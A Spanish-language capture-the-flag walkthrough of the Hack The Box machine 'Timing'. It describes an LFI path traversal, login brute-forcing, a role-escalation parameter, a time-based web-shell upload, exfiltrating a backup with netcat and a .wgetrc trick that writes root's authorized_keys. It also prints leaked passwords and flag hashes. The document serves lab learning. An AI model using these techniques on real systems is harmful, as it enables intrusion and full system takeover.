En Timing encontramos una vulnerabilidad LFI que nos permitió obtener el codigo fuente del sitio web, acceder y escalar privilegios en este, posteriormente acceso por una Web Shell donde encontramos credenciales en un backup del sitio para acceder por SSH. Finalmente escalamos privilegios utilizando el archivo de configuración .wgetrc.
Tenemos acceso unicamente a login.php en donde pide un usuario y contraseña. Burpsuite nos muestra un cambio en la url al visitar paginas que necesitan acceso como profile.php donde vemos que utiliza ./ para indicar el “directorio actual” de la pagina login.php.
1
2
3
4
5
6
7
8
9
GET /./login.php HTTP/1.1
Host: 10.10.11.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4ik63pl6tqhds7j8grki4m2ecs
Upgrade-Insecure-Requests: 1
Tomando en cuenta que esta utilizando ./, utilizamos ../ para “subir” un directorio y acceder a la pagina index.php.
1
2
3
GET /./login.php/../index.php HTTP/1.1
Host: 10.10.11.135
[.. snip ..]
Esto nos permitió acceder al contenido de la pagina index.php.
profile.php muestra un formulario para la actualización de la informacion del usuario.
En esta misma pagina encontramos un archivo javascript js/profile.js que contiene el codigo para realizar la actualizacion, donde tambien vemos una nueva pagina: profile_update.php.
HTTP/1.1 200 OK
Date: Wed, 26 Jan 2022 00:56:58 GMT
Server: Apache/2.4.29 (Ubuntu)Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 31Content-Type: text/html;charset=UTF-8
No user with this id was found.
upload.php, nos muestra un mensaje.
No permission to access this panel!
Finalmente image.php es una pagina en blanco.
Local File Inclusion
Fuzzing
Utilizamos ffuf para busqueda de parametros que pudieramos utilizar para subir algun archivo, inicialmente en upload.php, aunque en esta pagina no encontramos ninguno, en image.php encontramos img.
Utilizando el wrapper anterior logramos obtener el codigo fuente de todas las paginas conocidas y paginas nuevas que descubrimos en el codigo. Login utiliza role e userid para generar una sesion del usuario.
$(document).ready(function(){document.getElementById("main").style.backgroundImage="url('/image.php?img=images/background.jpg'"});functiondoUpload(){if(document.getElementById("fileToUpload").files.length==0){document.getElementById("alert-uploaded-error").style.display="block"document.getElementById("alert-uploaded-success").style.display="none"document.getElementById("alert-uploaded-error").textContent="No file selected!"}else{letfile=document.getElementById("fileToUpload").files[0];// file from input
letxmlHttpRequest=newXMLHttpRequest();xmlHttpRequest.onreadystatechange=function(){if(xmlHttpRequest.readyState==4&&xmlHttpRequest.status==200){if(xmlHttpRequest.responseText.includes("Error:")){document.getElementById("alert-uploaded-error").style.display="block"document.getElementById("alert-uploaded-success").style.display="none"document.getElementById("alert-uploaded-error").textContent=xmlHttpRequest.responseText;}else{document.getElementById("alert-uploaded-error").style.display="none"document.getElementById("alert-uploaded-success").textContent=xmlHttpRequest.responseText;document.getElementById("alert-uploaded-success").style.display="block"}}};letformData=newFormData();formData.append("fileToUpload",file);xmlHttpRequest.open("POST",'upload.php');xmlHttpRequest.send(formData);}}
En upload vemos que acepta archivos, creando un nombre único apartir de un hash MD5 tomando en cuenta el tiempo actual (de la maquina) y nombre del archivo. Aunque para acceder a esta pagina es necesario tener permisos de administrador.
<?phpinclude("admin_auth_check.php");$upload_dir="images/uploads/";if(!file_exists($upload_dir)){mkdir($upload_dir,0777,true);}$file_hash=uniqid();$file_name=md5('$file_hash'.time()).'_'.basename($_FILES["fileToUpload"]["name"]);$target_file=$upload_dir.$file_name;$error="";$imageFileType=strtolower(pathinfo($target_file,PATHINFO_EXTENSION));if(isset($_POST["submit"])){$check=getimagesize($_FILES["fileToUpload"]["tmp_name"]);if($check===false){$error="Invalid file";}}// Check if file already exists
if(file_exists($target_file)){$error="Sorry, file already exists.";}if($imageFileType!="jpg"){$error="This extension is not allowed.";}if(empty($error)){if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],$target_file)){echo"The file has been uploaded.";}else{echo"Error: There was an error uploading your file.";}}else{echo"Error: ".$error;}?>
Finalmente encontramos la conexion de la base de datos MySQL, credenciales de acceso y codigo util para verificar el acceso de usuarios.
<?phpinclude_once"auth_check.php";if(!isset($_SESSION['role'])||$_SESSION['role']!=1){echo"No permission to access this panel!";header('Location: ./index.php');die();}?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);
// session is valid for 1 hour
ini_set('session.gc_maxlifetime',3600);session_set_cookie_params(3600);session_start();if(!isset($_SESSION['userid'])&&strpos($_SERVER['REQUEST_URI'],"login.php")===false){header('Location: ./login.php');die();}?>
Aaron > Admin
Observamos anteriormente que es posible subir archivos aunque es necesario obtener acceso como administrador, sin embargo, hasta este punto tenemos un pequeño numero de usuarios y contraseña. Utilizamos este pequeño wordlist para realizar ‘brute forcing’ al login.
1
2
3
4
root
4_V3Ry_l0000n9_p422w0rd
user
aaron
Tras realizar esto encontramos que aaron:aaron es una combinación válida.
En ‘Edit profile’ logramos realizar cambios a los datos que se muestran en el formulario.
Si bien se realizan estos cambios, descubrimos que existen algunos datos que no se muestran en el formulario y que podrian ser actualizados.
Intentamos realizar un cambio a ‘role’ con valor 1 tomando en cuenta que este valor pertenece a admin o un rol superior, se muestra en la respuesta que se actualizó.
Con este pequeño cambio logramos acceder a ‘Admin panel’.
Upload
En ‘Admin panel’ logramos enviar una imagen JPG, pero no muestra el directorio en el que se encuentra ni el nombre.
Si regresamos al codigo fuente observamos, que, el directorio donde se almacenan las imagenes es: images/uploads/.
<?php[...]$error="";$imageFileType=strtolower(pathinfo($target_file,PATHINFO_EXTENSION));if(isset($_POST["submit"])){$check=getimagesize($_FILES["fileToUpload"]["tmp_name"]);if($check===false){$error="Invalid file";}}// Check if file already exists
if(file_exists($target_file)){$error="Sorry, file already exists.";}if($imageFileType!="jpg"){$error="This extension is not allowed.";}if(empty($error)){if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],$target_file)){echo"The file has been uploaded.";}else{echo"Error: There was an error uploading your file.";}}else{echo"Error: ".$error;}?>
Web-Shell
Timing
Si logramos encontrar el nombre del archivo y realizar un “bypass” al “filtro”, quizas podríamos subir una webshell o ejecutar una shell inversa. Para ello necesitamos obtener la hora exacta de la maquina, sin embargo se muestra el puerto ntp cerrado.
1
2
3
4
5
6
7
8
9
10
π ~/htb/timing ❯ sudo nmap -sU -p123 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 22:33 UTC
Nmap scan report for 10.10.11.135 (10.10.11.135)Host is up (0.063s latency).
PORT STATE SERVICE
123/udp closed ntp
Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
π ~/htb/timing ❯
Si realizamos una solicitud al sitio web, vemos que en los headers se muestra la hora exacta de la maquina.
1
2
3
4
5
π ~/htb/timing ❯ curl -sI http://10.10.11.135 |grep Date
Date: Wed, 26 Jan 2022 22:40:57 GMT
π ~/htb/timing ❯ curl -sI http://10.10.11.135 |grep Date
Date: Wed, 26 Jan 2022 22:40:58 GMT
π ~/htb/timing ❯
Con un pequeño script sincronizamos nuestra hora con la máquina.
Despues de realizar distintas pruebas logramos ejecutar comandos y ver el resultado creando un archivo PHP el cual acepta comandos por medio de solicitudes POST.
Explorando las carpetas de la maquina encontramos un backup en /opt/source-files-backup.zip. Utilizamos netcat para enviar el archivo a nuestra maquina. Vemos que es un ‘backup’ del repositorio del sitio web, al listar el log vemos dos únicos commits, el último describe una actualización en el archivo db_conn (credenciales y configuración a la base de datos).
π backup master ❯ ssh aaron@10.10.11.135 # S3cr3t_unGu3ss4bl3_p422w0Rdaaron@10.10.11.135's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jan 27 01:13:50 UTC 2022 System load: 0.08 Processes: 172 Usage of /: 48.9% of 4.85GB Users logged in: 0 Memory usage: 10% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
aaron@timing:~$ ls
user.txt
aaron@timing:~$ cat user.txt
69635af663ada0f8661f8e88c55f3e9d
aaron@timing:~$
Privesc
Vemos que el usuario puede ejecutar como root el archivo netutils, este último ejecuta un .jar al cual no tenemos acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
aaron@timing:~$ sudo -l -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/bin/netutils
aaron@timing:~$ ls -lah /usr/bin/netutils
-rwxr-xr-x 1 root root 42 Oct 5 15:03 /usr/bin/netutils
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bashjava -jar /root/netutils.jar
aaron@timing:~$
Al ejecutar el comando vemos que realiza algun tipo de descarga utilizando los protocolos FTP y HTTP.
Colocamos a la escucha el puerto 21, vemos que realiza la conexión a nuestra máquina.
1
2
3
π ~/htb/timing ❯ nc -lvvvp 21listening on [any]21 ...
connect to [10.10.14.160] from 10.10.11.135 [10.10.11.135]53220
Por otro lado el puerto 80 muestra el User-Agent : Axel/2.16.1.
1
2
3
4
5
6
7
8
π ~/htb/timing ❯ nc -lvp 80listening on [any]80 ...
connect to [10.10.14.160] from 10.10.11.135 [10.10.11.135]37090GET / HTTP/1.0
Host: 10.10.14.160
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
Axel es un acelerador de descargas por medio de la terminal, no se muestra algun tipo de vulnerabilidad o bug que pueda ayudar a escalar privilegios.
.wgetrc
Utilizando pspy logramos ver los comandos que son ejecutados por netutils, vemos a wget con descarga recursiva (-r) por el protocolo FTP y axel por HTTP.
Tras ejecutar algun comando vemos que se crea una carpeta nueva con todos los archivos que esten dentro del servidor FTP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[.. snip ..]Input >> 0Enter Url+File: 10.10.14.160
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2aaron@timing:~$ ls
10.10.14.160 ps user.txt
aaron@timing:~$ ls -l 10.10.14.160
total 0-rw-r--r-- 1 root root 0 Jan 27 01:55 file
aaron@timing:~$
Intentando pasar alguna flag a las opciones no permite realizar algun cambio en la salida de los archivos.
1
2
3
4
5
6
aaron@timing:~$ ls
'10.10.14.160 -o abc.txt' ps user.txt
aaron@timing:~$ ls -l '10.10.14.160 -o abc.txt'/
total 0-rw-r--r-- 1 root root 0 Jan 27 01:55 file
aaron@timing:~$
Investigando acerca de wget encontramos el archivo de configuración .wgetrc. En dicho archivo se encunetran distintos comandos, restricciones y valores que wget utiliza. Utilizamos este archivo para escribir en la carpeta /root/.ssh/ donde vamos a agregar el archivo authorized_keys con la clave publica del usuario aaron, desactivamos backup_converted, tambien, para verificar los cambios y creacion agregamos la opcion logfile.
1
2
3
4
5
touch ~/.wgetrc
echo -n "add_hostdir = off
backup_converted = off
dir_prefix = /root/.ssh/
logfile = file" > ~/.wgetrc
Creamos la clave publica de aaron y la colocamos en el servidor FTP dentro del archivo authorized_keys.
aaron@timing:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost'(ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jan 27 02:18:50 UTC 2022 System load: 0.01 Processes: 182 Usage of /: 49.1% of 4.85GB Users logged in: 1 Memory usage: 14% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Dec 7 12:08:29 2021root@timing:~# whoami;pwdroot
/root
root@timing:~# ls
axel netutils.jar root.txt
root@timing:~# cat root.txt
ede898fd75c5b2607a180e51ba7e5458
root@timing:~#
// Using JD jar in Main.classimportapp.Main;importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStream;importjava.io.InputStreamReader;importjava.util.Scanner;publicclassMain{privatestaticfinalScannersc=newScanner(System.in);publicstaticvoidmain(String[]args){while(true){System.out.println("netutils v0.1\nSelect one option:");System.out.println("[0] FTP");System.out.println("[1] HTTP");System.out.println("[2] Quit");System.out.print("Input >> ");Stringinput=sc.nextLine();if(input.equals("0")){System.out.print("Enter Url+File: ");Stringurl="ftp://"+sc.nextLine();System.out.println(run(newString[]{"wget","-r",url}));continue;}if(input.equals("1")){System.out.print("Enter Url: ");Stringurl=sc.nextLine();if(!url.matches("https?://.*"))url="http://"+url;System.out.println(run(newString[]{"/root/axel",url}));continue;}if(input.equals("2"))System.exit(0);}}publicstaticStringrun(String[]args){try{Processprocess=Runtime.getRuntime().exec(args);InputStreamis=process.getInputStream();BufferedReaderreader=newBufferedReader(newInputStreamReader(is));StringBuildersb=newStringBuilder();Stringline;while((line=reader.readLine())!=null)sb.append(line).append("\n");returnsb.toString();}catch(IOExceptione){e.printStackTrace();return"";}}}